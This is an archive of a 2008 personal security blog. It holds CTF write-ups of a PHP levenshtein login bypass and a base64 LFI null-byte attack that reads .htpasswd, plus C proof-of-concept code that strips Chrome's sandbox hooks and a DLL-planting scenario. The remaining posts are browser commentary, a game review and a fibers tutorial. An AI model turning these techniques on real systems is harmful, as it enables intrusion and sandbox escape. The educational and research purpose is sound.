if ( levenshtein($adminPass, $_POST['login'] . $_POST['password'], $ins, 1, $del) == 0 ) adminArea(); else echo 'Nieprawidłowy login i/lub hasło!'; echo '</td></tr>'; } else { include("incl/loginForm.inc"); }
?>
This is were the solution splits into to paths. The method showed on the official forum focused on the analysis of the internals of the levenshtein functions. The most important part of the internal code looks like this:
static int reference_levdist(const char *s1, int l1, const char *s2, int l2, int cost_ins, int cost_rep, int cost_del ) { int *p1, *p2, *tmp; int i1, i2, c0, c1, c2;
if(l1==0) return l2*cost_ins; if(l2==0) return l1*cost_del;
So, if one of the given strings is empty, then the result is calculated by the length of the other multiplied by $ins or $del value. The target was to get 0 returned, and it was possible to maneuvered the function into returning 0 using an empty password, and a specific $ins/$del value (even though some abs() and % were used for sanitation). The solution was to solve the equation 32 * (x + 1) = 0 (where 32 is the length of the password) in the 32 bit signed space. One of such values is 134217727. So one could insert this number into $ins, and thats it.
Of course I had to choose the long path ;p
The second, long, path was focused on using the value returned by levenshtein function to guess each letter of the password, letter by letter. The Levenshteins distance (in Polish it's also called Editors distance, don't know 'bout English though) is the total cost of adding, replacing and removing letters from one word, to form another (the cost of each operation may differ). Knowing it the rest is simple - one can just replace each letter in the password by each letter of the alphabet, and note for which letters the returned (displayed in the source) distance is minimum. One of the traps was that the password uses some non alpha characters, but it's just a matter of using a proper alphabet. Of course it's required to create some script to make this task automagic (python is a good choice).
And thats it ;>
I have to confess that I liked this task very much, because there were two ways to solve it. Just for statistics I'll add that it took me about 40 minutes to do this task, including writing a python script that searched for the password.
OK, that would be it for today ;>
P.S. I've added some note below the copyright message in the menu ;>
No comments
| | 2008-09-21: Quick news - final results of Security Days 6 and photos from the SekIT conference |
I still have a stupid cold, so most of the time I lie in bed trying to get better, hence another short news (I hope that tomorrow I can manage to write something more interesting for you guys).
Yesterday in Ruda Śląska (Upper Silesia, south Poland) the final round of Security Days 6 took place. I wasn't sure if I could go there (because of the stupid cold I have ;/), but I made it! Beside me (I was tied for top3 in the qualifying round), adam_i (top1 from the QR), mFly (top3), MaK (top4), and faramir (top7, he took part in the finals substituting eMBe, who couldn't make it) took part in the final (in my category). The Finals were very interesting, and with on a really descent level - 6 tasks to break (2 web-based, 2 shell-based, and 2 "telnet"-based - you talked with them via telnet/netcat on some strange ports). The tasks were not easy, and non manage to break them all (there were only 3 hours for all of them). I'll write more on tasks later. Anyway, after 3 hours the results arrived, and were as follow:
1. that would be me ;> 2. adam_i 3. MaK 4. mFly 5. faramir
I'll write something more about the finals later :)
And as a desert - Photos from SekIT 2008 ;>
No comments
In about two hours I'm leaving (with kanedaaa) to SekIT, a new polish security conference. On SekIT I'm going to give a speech, so I'll run on the scene and wave may hands, all to make the public happy (at least I hope so) ;> I'll talk about bankers - banking troyans. It will be a brief description of a few troyans, with some movies, and a lot of gesticulation. After SekIT I'll upload the slidesand movies, somewhere around here.
Well, since I will be on SekIT, and I've been "fixing" yesterday the slideshow, I'll write about the second SD6 task after I get back.
See you Sunday ;>
No comments
| | 2008-09-10: Security Days 6, day 1 - solution |
The second part of the first phase of SD6 started this evening, so I can finally write something about the first part.
The first "quest" was to get access to admin panel in a website made especially for the tournament. The site had just a few links, that looked like this:
?page=b2ZlcnRh - "offer" section (PL: oferta) ?page=a29udGFrdA== - "contact" section (PL: kontakt) ?page=b2Zpcm1pZQ== - "about the company" section (PL: o firmie)
It's easy to figure out that the params value is base64 encoded. After the decode we get "oferta", "kontakt" and "ofirmie" (see the PL words in the brackets above). A simple LFI test (which was adding a ./ to the beginning of page name, i.e. "./oferta") showed that an LFI (Local File Inclusion) is in fact present. Another test confirmed that there is no filtering, so poison NUL byte may work. This test worked this way - I tried to get to know the extension of the file, using the nul byte poison, and encoding some different extensions like this: base64("oferta.htm\0"), base64("oferta.html\0"), base64("oferta.txt\0"), and so on. I found out that the extension is .inc, and that it is not really needed to get the task done (but it confirmed that nul byte works). OK, something can be included. Now let's find something to include &;gt;
This was the right moment to find the admin panel by checking the standard places - ?page=base64("admin"), /admin.php, /admin, /admin.html, and so on. The panel was places in the /admin directory, and it was defended by Basic Auth HTTP, using the .htaccess+.htpasswd apache mechanism.
Well, using the above LFI to include /admin/.htpasswd (page files were in a subdirectory, so the total path went like this: "../admin/.htpasswd\0") I got myself a hash of a password. John dealt with the password very quick, and I found it to be abc123. Now just a fast logon on the panel (user was admin) and the task is done.
I'll add that few guys just guessed the password for the admin panel (well abc123 isn't hard to guess, now is it?) or used a dictionary attack. Well, every method that works is a good method.
My personal solution time: 20 minutes
Another thing to add is that few guys had problems with proper \0 encoding in base64 - well, I have to remember to double check the encoder I use (luckily I used python, and it did a good job).
The task was imho ideal for the first day. The second days (that would be today) task is a little more interesting, but I'll have to wait with the description till tomorrow =^^=
No comments
| | 2008-09-10: Install Chrome, and You will stop being anonymous to Google |
Todays post will be a little more offensive then normally.
This morning I've got an e-mail from my beloved one with a link to an article on WP (PL, sorry), which title I used (after translation) as the title for this post. Let me translate a piece of the article which is summing up the article pretty good (no info about the author I'm afraid):
Every copy of Chrome creates an unique id number, which is send to every Google service, and which is used to identify while using the Google search. Chrome connects to home even when typing an address in the address bar, it's for our own good. It checks if the address is on the phishing list. Many browsers do it, including IE and Firefox. However they do not have unique identifiers. Thanks to them [the IDs] it's possible to create an 'Internet profile' for each Chrome user.
I must admit that I haven't read such BULLSHIT in quite a while.
Let's start from the beginning. When downloading Chrome from the official site, under the EULA there is a small, unchecked by default, checkbox with something like "Optional: Help make Chrome better by automatically sending user stats and crash reports to Google" (it's my translation of the Polish version, ignore the differences). We can check it or leave it as is (unckeched). Let's say that we check it anyway. In that case Chrome indeed sometimes 'phones home' and transfers some statistics. And some more information is sent to Google when Chrome crashes (about:crash is good for testing it). But who cares since we agreed to it at download?!
OK, let's now pretend we didn't check that checkbox. I spent about a half hour with a sniffer, and didn't see Chrome send ANYTHING that would look like as even a piece of a user id. Really, nothing. I crashed Chrome, restarted it, walked on some websites. Nothing. Oh, there were some cookies sent while the address bar search took place, but those cookies were generated server side, which is about normal nowadays, and is very common (including WP).
So I would like to congratulate the article author for writing about something he agreed on while downloading Chrome.
At the end of the article there was a "hack" made by the autor:
One has to shutdown the browser, and change the file "Local State" in the Google installation directory (User Data), the changes are to be made in "client_id" and "client_id_timestamp". The values needed to be put in are FA7069F6-ACF8-4E92-805E-2AEBC67F45E0 and 1220449017. After that operation Chrome should introduce itself with a fake id.
Coooool..... But I would recommend just using "reporting_enabled": false which is set by default anyway (that is it we didn't check the checkbox), and which can be set without a problem from the menu - Options\For advanced\Help make Chrome better...
There is one more article (PL again) about Chrome Conspiracy I should add to my collection. I don't know who first wrote about it, but I have that link written down. Anyway, the articles title is 'Chrome installs a backdoor', and I think it's written by Patryk Szlagowski:
Google Chrome installs additionally a backdoor in the system. For Firefox and Safari the Google Update registers itself as a plugin npgoogleoneclick5.dll. For IE it's a BHO goopdatebho.dll.
OK, a few things then. First, I test Chrome from it's release on a few different machines, I reinstalled it a few time now and then, and each time I checked for the evil registered-someplace plugins (I have a few different browsers, including Opera, Safari, FF and IE), and I think Google like me very much or sth, because I couldn't find any of these registered plugins (however the files in fact exist in the Google Chrome directory).
Well maybe I have strange machines. Let's pretend that something automatically registers, and the One Click "backdoor" indeed is in the system. No we get to "secondly".
Secondly... what the hell of a kind of a backdoor is a one that works like this: When the user clicks under the EULA "Accept and install", then the installer gets downloaded and starts to install. Well, we just clicked it to INSTALL ITSELF! Why then are we writing news about "oh my, I clicked install, and it indeed started to install". Its bullshit. This "backdoor": 1) doesn't allow Google to access our system anytime they want 2) and it doesn't work with too many apps... Chrome.. and what else ? Maybe some Picassa ? What ? No FormatYourHarddisk? Sucks.
Concluding, Chrome isn't a backdoor. Yes, it gathers stats if the user tells it to gather stats. Yes, it has plugins that start installing Chrome when the user clicks Install. If someone has problems with understanding "install" and "automatically send stats", then create some petition for the Ministry of Education.
Thats all.
2 comments
| | 2008-09-09: Security Days 6, day 1 |
As one may know, yesterday at 8pm, the first day of the Internet phase of the Security Days 6 tournament began. The deadline for sending solutions to the first practical task was initially set to today, 9pm, but because of an attack on the main webpage of the tournament (a DDoS I was told) the deadline was changed to tomorrow 9pm. I'm not amused, since I wanted to post today some info about the first practical task, which imho was just about right for the first day - pretty easy, but still interesting. Well, I guess I'll write about it tomorrow ;>
By the way, I wonder who was feeling overwhelmed by the task / tournament so much that he decided to shutdown the server. Hmm, maybe I could give him some of my spam.. I ignore it anyway, but maybe he could use some 'enlarge you penis' pills or sth ;D
No comments
| | 2008-09-08: Is function hooking in Chrome really a security mechanism? |
Below my post about Chrome's sandbox I engaged in a discussion with AlienRancher regarding the function hooking (or 'interception' as Google calls it) really being a security mechanism. I must confess that I really thought it was, and I even liked the idea. But in fact it came out that function hooking is for compatibility purposes only. If a plugin has trouble running in a restricted environment due to problems with limited access to some keys/files, the hooking mechanism can transfer the calls to the browser, and they will be done with browser privileges (of course if a certain rule allows it).
It means that my hook taking off PoC was still OK, but not really needed for anything ;> Sorry for misinterpreting the whole hooking mechanism then ;>
No comments
| | 2008-09-06: Is automatic file download in Google Chrome really a vulnerability? |
Yesterday another method of making Google Chrome automatically download a file was posted on bugtraq. Of course an old discussion was restarted - is automatic file download a bug, feature, or a vulnerability?
Let's start with saying that the guys at Google think it's a turned on by default feature, which can be easily turned off in the options, by clicking just one checkbox. Can this then be called a bug? It was foreseen and it can be turned off. It's not a bug then.
Is it a vulnerability? James C. Slora Jr. says it is, and he even has logically sounding arguments. A sum up of what he wrote: automatic file downloading isn't an attack itself, but it creates a vector of attack, which enables other attacks to take place. As examples, he has given the desktop.ini file (but afaic one cannot to too much harm with it), files scanned by AV software (you can hear about vulnerabilities in AV software quite often), and other files that cause some action to be taken (a common example is the vulnerability related to the animated cursors that resided in .ani files).
I guess I'll add my thoughts to this. Do you remember the DLL spoofing technique? Briefly speaking, most of the executable files import some external DLL libraries. Where does the PE loader look for these libraries? This depends on whether the DLL is a system DLL, or a user DLL - and this depends on the list of known (system) DLLs. If the lib is on that list, then the loader will look for it in the System32/SysWOW64 directory. If it's not on the list, the loader will first look for it in the directory where the currently executed file is placed. An example list of system DLLs on Microsoft Windows Vista PS1 follows:
clbcatq.dll ole32.dll advapi32.dll COMDLG32.dll gdi32.dll IERTUTIL.dll IMAGEHLP.dll IMM32.dll kernel32.dll LPK.dll MSCTF.dll MSVCRT.dll NORMALIZ.dll NSI.dll OLEAUT32.dll rpcrt4.dll Setupapi.dll SHELL32.dll SHLWAPI.dll URLMON.dll user32.dll USP10.dll WININET.dll WLDAP32.dll WS2_32.dll
It's important to note that on XP there was another DLL called VERSION.DLL, but on Vista it's no more present on the list. It's also important to mark that all the libraries imported by the above DLLs are also considered to be system DLLs. OK, not let's pretend a user enters some malicious website using Chrome, and without any confirmations three libraries are downloaded - VERSION.DLL, WS2_32.DLL and WSOCK32.DLL - and all there contain malicious code. The user doesn't notice / forgets, and goes on. In a day, maybe two, the user downloads himself, let's say.. the newest Blender installation file, and he stats to install it. And here is where the trap is triggered - the Blender install file imports VERSION.DLL, which is NOT on Vistas system library list, it means that the VERSION.DLL planted earlier will be executed. What happens later is just to horrifying to write ;>
I'll just add that Blender install isn't an exception. I've checked just a few install files that were present in my download directory, and half of them imported some user DLL. As an example I can give Open Office (UX version) install, and WGA plugin installation file (it's the anti-piracy plugin from Microsoft for FF).
In the example above I've said also about WS2_32.DLL and WSOCK32.DLL. Let's say that the user doesn't download an installation file, but he downloads some ready to run application, like some very popular SSH client - putty. Putty imports WSOCK32.DLL, so guess what happens next.
To sum up this post: imho this feature is indirectly dangerous, and should be either turned off by default, or there should be an option to set a list of trusted (PDF?) and untrusted (DLL? EXE?) file types.
PS. There showed up another exploit for Chrome on milw0rm, this time, it's also remote DoS, and it also requires user interaction. It's probably a buffer overflow in Inspect Element (isn't this the second bug in Inspector? I have already written about one).
5 comments
| | 2008-09-05: Remote Buffer Overflow in Google Chrome |
A short info. Someone (Le Duc Anh - SVRT - Bkis) posted on the FD list about a Remote Buffer Overflow in Chrome, needing a little interaction from the user - the user needs to click 'Save as...' (the buffer overflow is related to the handling of the <title> while saving files). The researcher has provided two PoC exploits, one is said to run a calculator (on XP SP2, but it didn't work for me), and the other is just a DoS. It must be noted that that both the renderers and browser processes are crashed, so the vuln is located either in the browser, or is magically transfered from the renderer to the browser.
Concluding, this is the first remote code exec in Chrome (3 days after the release? sth like that), and 3rd published vuln (I'm not counting the unpublished ones ofc).
Update: Looks like Shinnok found another buffer overflow, however it seams it's just a remote DoS (however there still is an option it's something more) requiring some (very little) user interaction (placing mouse pointer above a link). Stats: 1 remote code exec, 4 vulns total, and counting (keep in mind that it's just a beta, so these stats mean nothing).
Update 2: As You can see in the comments, SVRT-BKIS created additional PoC exploits for the remote buffer overflow vulnerability (I tried them out, they work, at least the last one does ;>). You can find the PoC exploits at Bkis Blog.
4 comments
| | 2008-09-04: Google Chrome's Sandbox |
Yesterday I had some free time to look into the Google Chrome's sandbox, so I'll write a little 'bout it today.
For the few last days people talk about the somewhat innovative idea of Google - every displayed tab (webpage) is handled by a different process. As I wrote before, personally I like the idea, so I decided to use the open-sourceness of Chrome and see what's inside. It looks like every renderer (the tab handling process) works with very restricted privileges. As one can read in the design document linked above, there are four Windows features in use (didn't have time yet to look inside Chrome for other OSes):
Tokens: Only to tokens remain accessible - Logon SID (Mandatory) and NULL SID (S-1-0-0, Mandatory, Restricted). The rest of SIDs has 'Deny' set. Also all the privileges are removed (Se*). Job objects: I think just everything possible was limited - there are limits for the Desktop, Display Settings, Exit Windows, Global Atoms, USER Handles, Read/Write Clipboard, System Parameters and Administrator Access. Alternate desktops: Additionally the new process is attached to a newly created desktop. Thanks to that, the process cannot send messages to other user processes (because a process cannot send messages to an outside desktop, where all the other processes exist). Integrity levels: This is available only on Vista (and 2008 ofc) - the renderers work with lower integrity set.
Additionally to that, the guys at Google created some hook mechanism, which they user to hook some functions from ntdll.dll and kernel32.dll. The hooks are created for the following functions:
(NT) NtCreateFile (NT) NtOpenFile (NT) NtQueryAttributesFile (NT) NtQueryFullAttributesFile (NT) NtSetInformationFile (NT) NtOpenThread (NT) NtOpenProcess (NT) NtOpenProcessToken (NT) NtSetInformationThread (NT) NtOpenThreadToken (NT) NtOpenProcessTokenEx (NT) NtOpenThreadTokenEx (NT) NtCreateKey (NT) NtOpenKey (EAT) CreateNamedPipeW (EAT) CreateProcessW (EAT) CreateProcessA (EAT) CreateEventW (EAT) OpenEventW (NT) NtMapViewOfSection (NT) NtUnmapViefOfSection
The hooks that I marked with NT are inline-patches set just before the SYSENTER is called. An example patch looks like this:
; A set hook 7C90DD7B > B8 7A000000 MOV EAX,7A ; Syscall number 7C90DD80 BA A5011500 MOV EDX,1501A5 ; Handler wrapper address 7C90DD85 FFE2 JMP EDX ; Jump to 1501A5 7C90DD87 C2 1000 RETN 10 ; This won't happen
; Handler wrapper 001501A5 83EC 08 SUB ESP,8 001501A8 52 PUSH EDX 001501A9 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C] 001501AD 895424 08 MOV DWORD PTR SS:[ESP+8],EDX 001501B1 C74424 0C 900115>MOV DWORD PTR SS:[ESP+C],150190 ; Original code address 001501B9 C74424 04 600D44>MOV DWORD PTR SS:[ESP+4],440D60 ; Handler function address 001501C1 5A POP EDX 001501C2 C3 RETN
; Archived original code 00150190 B8 7A000000 MOV EAX,7A 00150195 BA 0003FE7F MOV EDX,7FFE0300 0015019A FF12 CALL DWORD PTR DS:[EDX] 0015019C C2 1000 RETN 10
The wrapper and the original code is placed in a dynamically allocated memory (with a non constant address). The handler itself is written in C++, an in the source it's name has 'Target' prefix (i.e. TargetNtCreateFile). In the moment EIP is 'caught' by the hook, a messaged goes from the renderer to the browser with a question 'can a given operation take place' (like opening a file or sth). If the browser agrees, the operation take places, otherwise an Access Denied (or similar) error is returned.
The above mechanism targets to create another security layer, just to make an attackers life harder (or the attackers shellcodes life). But what can I say, the placement of the mechanism (user mode) is so bad, that it won't really make a difference for a potential attacker. An attacker can either use syscalls directly (the Google coders noted this possibility in the Chrome docs), or just take the hook off. Below there is a PoC code that takes the hook of a given function (it was made for XP SP2, and it's just a PoC):
void RemoveNtIntercept(LPCSTR FunctionName, BYTE Retn) { HINSTANCE NtDll = LoadLibraryA("ntdll.dll"); DWORD OldPriv; DWORD FuncAddr = (DWORD)GetProcAddress(NtDll, FunctionName); if(FuncAddr == 0) return;
FuncAddr += 6; // Skip 6 bytes (MOV EAX, SYSCALL_NUMBER + first byte of MOV EDX, SYSCALL_HANDLER) VirtualProtect((LPVOID)FuncAddr, 10, PAGE_EXECUTE_READWRITE, &OldPriv); *((DWORD*)(FuncAddr)) = 0x7FFE0300; // Restore original handler *((DWORD*)(FuncAddr+4)) = 0xC212FF | (((DWORD)Retn << 24) & 0xFF000000) ; // call + retn *((BYTE* )(FuncAddr+8)) = 0x00; // retn cd.
FreeLibrary(NtDll); }
An example usage looks like this:
RemoveNtIntercept(output, "NtCreateFile", 0x2C);
Well, the code isn't too long, is it? It's also not elegant, but it deals with hooks rather good. To tell you the truth I like the hook idea (btw take the look at the hooking source code, it's nicely written, and it's on a BSD license ;>), but on the other hand, the mechanism is Vulnerable By Design.
I recommend playing with the Sandbox. The sandbox_poc is easy to compile, and it allows to play with the sandbox without the need of compiling the whooole big Chrome.
Before I'll end this post, I'll share with a few interesting things I've found while looking inside Chrome. The first thing are the names of some hooked functions in chromium\src\sandbox\src\interception_unittest.cc:
interceptions.AddToPatchedFunctions(L"kernel32.dll", "SomeFileEx", INTERCEPTION_SMART_SIDESTEP, function); interceptions.AddToPatchedFunctions(L"b.dll", "TheIncredibleCallToSaveTheWorld", INTERCEPTION_EAT, function); interceptions.AddToPatchedFunctions(L"a.dll", "BIsLame", INTERCEPTION_EAT, function); interceptions.AddToPatchedFunctions(L"a.dll", "ARules", INTERCEPTION_EAT, function);
The other thing is the fact that Chrome uses WinAPI to deal with FTP, so when You logon via FTP, the following credentials are sent:
USER anonymous PASS IEUser@
Huh, almost like IE ;>
Btw, I've saw that there was some FTP (file time) related crash fixed today. Was it another remote DoS?
OK. Thats it for today.
UPDATE: The article became a little incorect once I get to know a few new facts. Please check this post.
8 comments
| | 2008-09-02: Google Chrome - first impression |
Today's the day that almost everyone writes about the newly released Google web browser. Guess I'll write something too ;>
As one could expect from Google, the new browser has fewer buttons then it's older siblings - Mozilla Firefox and Apple Safari (on which Chrome is partly based) - it's the everlasting Google's Keep It Simple strategy. The first thing that drew my attention, was the full GUI integration with Aero, which looks pretty good. The second thing was the number of processes called "chrome.exe" in the taskmgr - each website has it's own process, plus there is another one for the GUI. In my opionion, this is a rather good idea - it decreases the probability of Chrome getting blown up by one single stupid site. Back to the GUI, I was pleasantly surprised with how smoothly and fast it worked - I have a decent PC, but Firefox was never so smooth as Chrome is.. yet another advantage of the process separation (but not only process separation of course).
After the first sight, there came time for the second one. At first, I put a very simple, yet deadly for some browsers (Firefox) javascript, that displayed alerts in an infinite loop - it's an old but still working attack on Firefox - one has to kill the browser to get out of the loop. But with a surprise, I found out that Chrome did pretty well - it added a checkbox to the second alert, with a question about displaying the next alerts on this site. I didn't want it to display them, and it didn't. Good.
The second test, after looking around in Chrome for a while, consisted of throwing some internal address into iframe - in my case it was the view-source:http://gynvael.coldwind.pl. Nothing showed up in the iframe, as expected. So I've checked the Inspector (RMB, Inspect Element - it's something like Firebug), and nothing showed up here either, but to my surprise, when I clicked ALT+LPM on the link in the inspector (it suggested me to do it itself), the Chrome came down with a full scale crash - all the processes stopped working, and additionally a funny error message came up (unfortunately, the screenshot on the right is in Polish; the error message is something like "Oh my gosh! Google Chrome crashed! Run again?"). Well, I guess this path the devs didn't check, and I think it can say something about the stability. However to be honest I must say that during normal work Chrome hasn't crashed even once.
Continuing with the tests, I tried running Chrome within the context of a different user (runas.exe /user:chromeuser) and see if that whole multiprocess thing won't go bananas (of course the chromeuser had Chrome installed independently - it is required due to the Chrome strange installation path; btw, how come Google revokes me of the right to choose where apps are installed on my PC?). However, I couldn't check the if it went bananas, because Chrome wouldn't show anything (any page) except the GUI, even about:version (I'll add that Firefox didn't have any problems running on that user).
Speaking about "about", I've found a few interesting abouts in Chrome. Even if I didn't find about:config (maybe I didn't search enough?), I found a few others (in chromium\src\chrome\browser\browser_about_handler.cc):
about:cache - a list of cached files/sites about:dns - information and statistics regarding DNS about:histograms - some histograms, beats me about:objects - a blank page (it's supported in the sources and binary.. what gives?) about:memory - very cool statistics about the memory usage by each tab, and all (sic!) currently running browsers on the system about:plugins - like the name says, plugin info about:stats - some more statistics with a funny message "Shhh! This page is secret!" about:version - easy to figure out what this is ;>
But there is no about:config. Well all in all there aren't to many configuration options. And I can't say I like that Chrome uses Windows proxy settings. I would prefer it to have it's own setting, just like Firefox has - the lack of these settings make using Socks4 harder (and socks4 is the standard dynamic SSH tunnel).
Another interesting thing - in about:memory in the popup menu (RMB) "Show source" is disabled, but Ctrl+U works just fine ;>
Hmm, and I couldn't find the option to save the current page. A good thing is that there is an option to print the current page. Update: OK nvm, deus showed me where it is (RMB, Save as...).
Summing up, the first impression is rather positive - it's pretty, fast, and simple. However as far as my geekness goes, I think there are to little buttons and configuration options ;> Currently I'm not planing to move from Firefox to Chrome. But maybe someday ;>
Update: I've just saw on the FD list that Rishi Narang aka psy.echo discovered how to crash Chrome without user interaction. Of course this started an argument on FD whether vulns in Beta apps should be reported (please note that everything is beta in Google), but regardless of this, I think that that bug is just interesting.
No comments
Another post from the 'what game could I play' series. Todays post is about Urban Terror - a freeware FPS based on the opensource Quake 3 engine (technically speaking, UrT is a total-conversion mod for Q3, but hence the enigne is opensource, the game is a stand alone production anyway).
Urban Terror is a team-orientated first person shooter, created by SID/FrozenSand LLC, with similar gameplay of what we know from CS. Depending on the game mode, we can play standard 'bombs' (one team has to place a bomb, and the other has to deactivate it, everything of course in the music of countless machine guns), the classical CtF, a little modified CtF called 'Follow the leader', a standard deathmatch, or team survival. One of the difference between CS and UrT, is that You cannot shoot "through walls" (I miss that ;/), but instead, You get cool features like power sliding or wall multijumping (it's similar to parkout; it let's you get to places You normally couldn't). Also, there is no weapon buying, instead, You get to select a main weapon (normally it's a sniper rifle or an assault rifle), a secondary weapon (like MP5) and a pistol. Then we get to choose on of the two kinds of grenades (smoke or HE, no flashbangs ;/ and they would come in handy), and from 1 to 3 additional items (like a silencer, medkit, laser sight, additional ammo, or very imba night goggles). It's worth noting that when a player gets hit, he starts to bleed (blood on the floor, lowering HP, etc) - to stop bleeding, one has to bandage himself. When someone else bandages the injured, the injured gets some HP restored, additionally, if the healer has a medkit, most of the HP is restored.
I said that the night goggles are imba. It's so because it not only draws the players in a little brighter color than the background (in the old school green colors ofcourse), but it also marks them on the screen with a visual 'ping' and an animated hard-to-miss rectangle - because of this, you can notice a players thumb sticking out behind a wall in the other side of the map, which normally you wouldn't (it makes the goggles a great camper toy). The authors tried to balance the goggles a little by not displaying the team color when the goggles are on (which isn't a problem if one knows where his team mates are - like looking from time to time on the mini map), and limiting the view (which one can get used to, and isn't a problem for snipers anyway). Anyway, the night goggles were the first and last item we turned off on our private server.
As the weapons of war go, the ability to choose is really satisfying - we get few different assault rifles (with the immortal AK-47), two different sniper rifles (one is the 'one show one kill' type, and has a long cooldown time, the other deals less damage, but has a lower cooldown time), a heavy machine gun with a large mag, and a generic assault rifle with the scope being "almost" as good as the ones in the sniper rifles (normally the assault rifles do not have a scope). AS for the secondary weapons, we have MP5 and UMP (which is a little to slow in my opinion), and a shotgun (which is good at short distances). There are also two pistols, and I think they differ only in the BANG! they make - Desert Eagle is definitely lauder.
Another thing are the maps. Personally I like two very much (and we played these two on the private server over and over again): Riyadh- a desert map with two groups of sandstone buildings, and a small hill at the center, and Eagle - a English castle with moat, and a piece of town attached to it - the map is very large, but its great - it has many small passages, tunnels, and many different routes from one point to another; the rounds may be little long on it (up to 10 minutes per round), but it's ideal for teamplay imho. Both maps are great for both the players who prefer to be snipers, and for the assault-troop playing style. Other maps are also interesting, and they are create for CtF and 'bombs', and they do really well on public servers.
Speaking of the public servers - there are many of these. Currently, the game says that it knows about 522 public servers, from which about 100 are populated. Just to compare, the recently released game Frontlines: Fuel of War, shows about 100 servers, and there are players on only 8 servers. Back to UrT, as far as I've noticed, clans are both visible and active, so I can say that the UrT scene is alive and well being. A little word about cheats - I haven't noticed any.
Now a little about the player models and skins - the creators decided to create skins easy to see - so the skins are navy blue or red, and they can be seen from a klick away. Personally, I prefer masking skins, like the ones from BF2142, or CoD4, and I'm not a fan of UrT skins (for our private server, Xa made a few desert and city skins - screenshots are here someplace).
The music side of the game is hearable only in the menu. However the sound is on a really good level, starting from the gunshot sounds, up to the radio messages. Way to go! As for graphics, well, this is no Crysis. However, the graphics is rather good, and personally I like it.
The system requirements will make people with a little weaker machines happy - the game is only a little more demanding with the old Quake 3, so it runs smoothly even on older machines.
UrT is a good game, mainly because of the outstanding gameplay, and the fact that it's totally free, and you always can find someone to play with. Give it a shot ;>
C U on some public server ;>
Urban Terror official site
No comments
| | 2008-08-29: Subsection "Projects" and the first entry |
In the menu on the right a new entry called 'Projects' appeared. It will be a list of my projects, and it already contains one project with a description - a virtual machine created for a compo earlier this year. I'll add new projects there from time to time ;>
No comments
| | 2008-08-28: Security Days 6 |
Hi,
Well, this is the first post that will differ from the polish version, since it's about a polish security tournament... which is in polish. In the polish version of the news I invited readers to participate in the tournament, but since it's the tournament is in polish anyway, it is without a reason to do the same. In that case this will be a purely personal blog entry.
In two weeks the Security Days 6 security tournament will start. As usual (for the third time) I'll participate in the tournament, and try to do my best (however the competition is strong, and I have a lot of respect for them, and I know they will do their best too). Last year I've managed to win the whole tournament, so I guess I have no choice but to defend that title =^^=. The year before I was second to Arigo, who owned the tournament.
The tournament has two parts - an online Hack Me challenge where anyone can participate (if he can read polish task descriptions that is ;/), and then the 5 people that get the most points, are invited to the offline part, which is similar, except that there are more challenges (last year there were 5), and less time (5h instead of 24h). It's tournament is very interesting, and people You get to meet at the offline part are really a cool bunch ;>
Well, I guess I'll write something after the Internet part, just to fill the space ;p
Just in case, here is the link to the tournament if You get interested in learning polish (it's not an easy language though).
Strona Security Days 5
No comments
| | 2008-08-26: Old advisories |
A short news... I've made a few changes in the blog. Inter alia, in the menu on the right I've added a submenu called "Sections", to which I've added a link to the advisories section containing some of my old advisories. The rest of the old advisories will become available soon. Maybe some new ones too ;>
No comments
| | 2008-08-26: Fibers in a thread |
Inspired by noglorps post on OpenRCE I've finally decided to play with Windows fibers, and I found out that it's quite an interesting topic.
What is a fiber anyway? One can say that a fiber is a type of a thread (an execution unit in a process). What's the difference between a fiber and a thread then? The difference lies in th scheduler - the thread scheduler is located in the system kernel, and switched between threads when it wants, in an invisible to the programmer way (a small exception are the Sleep(0) and SwitchToThread() functions, and other functions that block execution). On the opposite, the fiber scheduler must (can?) be created by the programmer himself (so there is no kernel-level scheduler that silently switches the fibers). To do that, the coder gets few simple and intuitive WinAPI functions:
SwitchToFiber(void *pFiber) - like the name suggests, it switched from the currently executed fiber to the given one (one must note that while you cannot tell which thread should be executed to the SwitchToThread function, you have to tell which fiber will be executed to the SwitchToFiber). ConvertThreadToFiber(void *pParam) - like the name says, converting a thread to a fiber - in truth, it's just making the thread be able to switch between fibers.
Additionally, we get another function to define new fibers: CreateFiber - is used to create a new fiber; in opposition to CreateThread, the newly created fiber does not begin executing the provided function, because telling when to start lies to the coder-made scheduler (which can even be only one SwitchToFiber call).
There are other functions, but the above are sufficient.
From the logical point of few, the coder has to create a few fibers (CreateFiber) and of course store their handles (the thing returned by CreateFiber). Next, the thread has to be converted to a fiber (ConvertThreadToFiber), and now it can begin switching between fibers (SwitchToFiber, everything inside one thread). One can say that fibers are execution units working inside a thread, but it must be noted that only one fiber works at one time (of course if one converts more threads into fibers, more fibers can work at the same time).
How to create a simple scheduler? Just for tests I've created 4 worker fibers, and one scheduler-fiber. After converting the thread to a fiber, I've switched it (the fiber-thread) to run the fiber-scheduler, which was just a simple loop that switched the worker threads. One must note that SwitchToFiber stores the place where the switch took place in the "old" fiber, and when the execution returns to that fiber (another fibers calls SwitchToFiber with that fiber) it begins at the EXACT same spot where it paused. A worker-fiber then works, and after making a piece of the work, it switches back to the scheduler-fiber, which grants the CPU to yet another worker-fiber. And so it goes until all the fiber have completed their job.
The code looks like this (full version of the code is available to be downloaded at the bottom of the page):
First a few declarations:
#define FIBER_COUNT 4
LPVOID FiberScheduler; LPVOID Fibers[FIBER_COUNT]; int FiberDone[FIBER_COUNT];
Next, the worker-functions of the worker-fibers:
void __stdcall MyFiber(void* Param) { int i; int FiberNr = (int)Param; printf("%i: start\n", FiberNr);
for(i = 0; i < 5; i++) { // Do something printf("%i: in loop %i, before switch\n", FiberNr, i); // Go back to scheduler SwitchToFiber(FiberScheduler); // Do something again printf("%i: in loop %i, back from switch\n", FiberNr, i); }
// End of work printf("%i: done\n", FiberNr); fflush(stdout); FiberDone[FiberNr] = 1;
// Back to scheduler SwitchToFiber(FiberScheduler); }
The above function just iterates 5 times a loop, and every iteration it returns to the scheduler. Now it's time for the scheduler himself:
void __stdcall MyScheduler(void *Param) { int i; int CurrentFiber = -1; puts("S: start"); while(1) { int DoneCount = 0; puts("S: schedule loop begining");
// Check if all done for(i = 0; i < FIBER_COUNT; i++) DoneCount += FiberDone[i];
if(DoneCount == FIBER_COUNT) break;
// Switch to next av. fiber // There has to be at least one do { CurrentFiber++; if(CurrentFiber == FIBER_COUNT) CurrentFiber = 0; } while(FiberDone[CurrentFiber]);
// Switch to it printf("S: schedule loop switching to fiber %i\n", CurrentFiber); SwitchToFiber(Fibers[CurrentFiber]); printf("S: schedule loop back from fiber %i\n", CurrentFiber); }
puts("S: done"); }
